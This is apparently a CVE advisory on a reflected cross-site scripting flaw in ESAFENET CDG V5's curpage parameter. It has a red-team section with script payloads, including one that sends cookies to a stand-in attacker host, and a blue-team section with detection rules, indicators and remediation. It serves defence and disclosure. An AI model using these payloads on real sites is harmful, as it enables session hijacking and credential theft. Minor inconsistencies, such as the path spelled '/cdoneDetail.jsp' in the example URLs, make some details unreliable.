CVE-2025-0790
Executive Summary
CVE-2025-0790 is a publicly disclosed, unpatched cross-site scripting (XSS) vulnerability in ESAFENET CDG V5, specifically within the /doneDetail.jsp endpoint. The flaw allows remote attackers to inject arbitrary JavaScript or HTML via the curpage parameter, leading to potential session hijacking, data theft, or defacement. No official patch or vendor response has been provided, and no EPSS or OSV data is available. The exploit has been made public, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone Java-based web application (ESAFENET CDG V5) and does not involve supply chain dependencies.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector provided)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
- Threat Level: Medium (due to public exploit and no patch)
Deep Dive & Mechanics
The vulnerability resides in the /doneDetail.jsp page of ESAFENET CDG V5. The curpage parameter is reflected in the HTTP response without proper sanitization or encoding. An attacker can craft a URL such as:
http://target/cdoneDetail.jsp?curpage=<script>alert('XSS')</script>
When a victim visits this URL, the injected script executes in the context of the victim’s browser. This can be used to steal cookies, session tokens, or perform actions on behalf of the victim.
The root cause is the lack of output encoding for user-supplied input in the JSP page. The application does not use any security framework (e.g., OWASP ESAPI) to escape HTML entities.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical):
<%
String curpage = request.getParameter("curpage");
%>
<div>Current Page: <%= curpage %></div>
Patched Code (recommended):
<%@ page import="org.owasp.encoder.Encode" %>
<%
String curpage = request.getParameter("curpage");
%>
<div>Current Page: <%= Encode.forHtml(curpage) %></div>
The patched version uses OWASP Java Encoder to HTML-encode the parameter, preventing script injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy ESAFENET CDG V5 in a controlled lab environment.
- Craft Payload: Use a simple XSS payload to test:
http://target/cdoneDetail.jsp?curpage=<script>alert(document.cookie)</script> - Exploit: Send the crafted URL to a victim (simulated via browser). The script executes, displaying the victim’s cookies.
- Advanced Payload: Use a payload to exfiltrate data:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
- Detection: Monitor web server logs for suspicious
curpageparameters containing<script>oronerrorpatterns. - Mitigation: Implement a Web Application Firewall (WAF) rule to block XSS patterns in the
curpageparameter. - User Training: Educate users not to click on untrusted links.
- Code Fix: Apply output encoding as shown in the patched code section.
Indicators of Compromise (IOCs)
- URL Pattern:
/doneDetail.jsp?curpage=*with HTML/JavaScript in the parameter - Log Entry: HTTP GET requests to
/doneDetail.jspwithcurpagecontaining<script>,onerror,alert, etc. - Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser (if exfiltration payload is used)
- File System: No file-based IOCs; purely web-based
Detection Engineering
YARA Rule
rule CVE_2025_0790_XSS {
meta:
description = "Detects XSS attempts targeting CVE-2025-0790 in ESAFENET CDG V5"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0790"
strings:
$xss_pattern = /curpage=.*<script/i
$xss_pattern2 = /curpage=.*onerror/i
$xss_pattern3 = /curpage=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-0790 XSS Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against ESAFENET CDG V5 /doneDetail.jsp
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/doneDetail.jsp?curpage='
cs-uri-query|re: '(?i)<script|onerror|alert\('
condition: selection
falsepositives:
- Legitimate use of 'alert' in non-malicious context (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0790 XSS Attempt"; flow:to_server; content:"/doneDetail.jsp"; http_uri; content:"curpage="; http_uri; pcre:"/(?i)<script|onerror|alert\(/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply a WAF rule to block XSS patterns in the
curpageparameter. - Short-term: Manually patch the
/doneDetail.jspfile to HTML-encode thecurpageparameter using OWASP Java Encoder or similar. - Long-term: Upgrade to a patched version of ESAFENET CDG if/when available. Conduct a full security audit of the application.
- Compensating Controls: Restrict access to the application via VPN or IP whitelisting. Enable Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT